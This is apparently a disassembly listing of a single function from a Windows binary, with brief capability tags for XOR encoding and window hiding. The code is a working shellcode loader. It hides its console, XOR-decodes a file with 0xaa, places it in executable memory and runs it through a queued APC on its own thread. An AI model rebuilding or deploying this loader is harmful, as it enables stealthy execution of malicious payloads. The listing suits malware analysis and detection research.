Function at 0x401230
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403608
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.NtAllocateVirtualMemory
push edi
call esi
push str.NtProtectVirtualMemory
push edi
mov dword [0x406604], eax
call esi
push str.NtQueueApcThread
push edi
call esi
push 0
mov dword [0x406608], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb8
lea eax, [ebp - 0xe8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xe8]
call fcn.00402130
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0xf0], ecx
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor eax, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xf0]
xor edi, edi
xor esi, esi
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
test eax, eax
je 0x40138f
cmp eax, 0x7fffffff
ja 0x401520
cmp eax, 0x1000
jb 0x40135e
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401525
push ecx
call fcn.0040289c
add esp, 4
test eax, eax
je 0x4014e8
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401369
push eax
call fcn.0040289c
add esp, 4
mov edi, eax
mov ecx, dword [ebp - 0xf0]
push ecx
push 0
push edi
lea esi, [edi + ecx]
mov dword [ebp - 0x24], edi
mov eax, esi
mov dword [ebp - 0x1c], eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xf0]
add esp, 0xc
mov dword [ebp - 0x20], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xe8]
push dword [ebp - 0x14]
push eax
push edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xd8]
call fcn.00402510
test eax, eax
jne 0x4013cb
push eax
mov eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xe8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
movaps xmm2, xmmword [0x404360]
sub esi, edi
mov dword [ebp - 0x14], esi
mov eax, 0
je 0x401439
cmp esi, 0x40
jb 0x401430
mov edx, esi
lea ecx, [edi + 0x20]
and edx, 0xffffffc0
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
xorps xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edx
jb 0x4013f0
cmp eax, esi
jae 0x401439
nop dword [eax]
xor byte [eax + edi], 0xaa
inc eax
cmp eax, esi
jb 0x401430
push 0x40
push 0x1000
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push 0
lea eax, [ebp - 0xec]
mov dword [ebp - 0xec], 0
push eax
call esi
push eax
call dword [0x406604]
push dword [ebp - 0x14]
push edi
push dword [ebp - 0xec]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push dword [ebp - 0xec]
push 0x401220
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [0x406608]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
call esi
push 1
push 0x8000
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push ecx
push 0
lea ecx, [ebp - 0xec]
push ecx
push eax
call dword [0x406604]
test edi, edi
je 0x4014f8
mov ecx, dword [ebp - 0x1c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x4014ee
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014ee
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.004028cc
add esp, 8
lea ecx, [ebp - 0xe8]
call fcn.00401530
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040288e
mov esp, ebp
pop ebp
ret
call fcn.004027f0
call fcn.004010d0
int3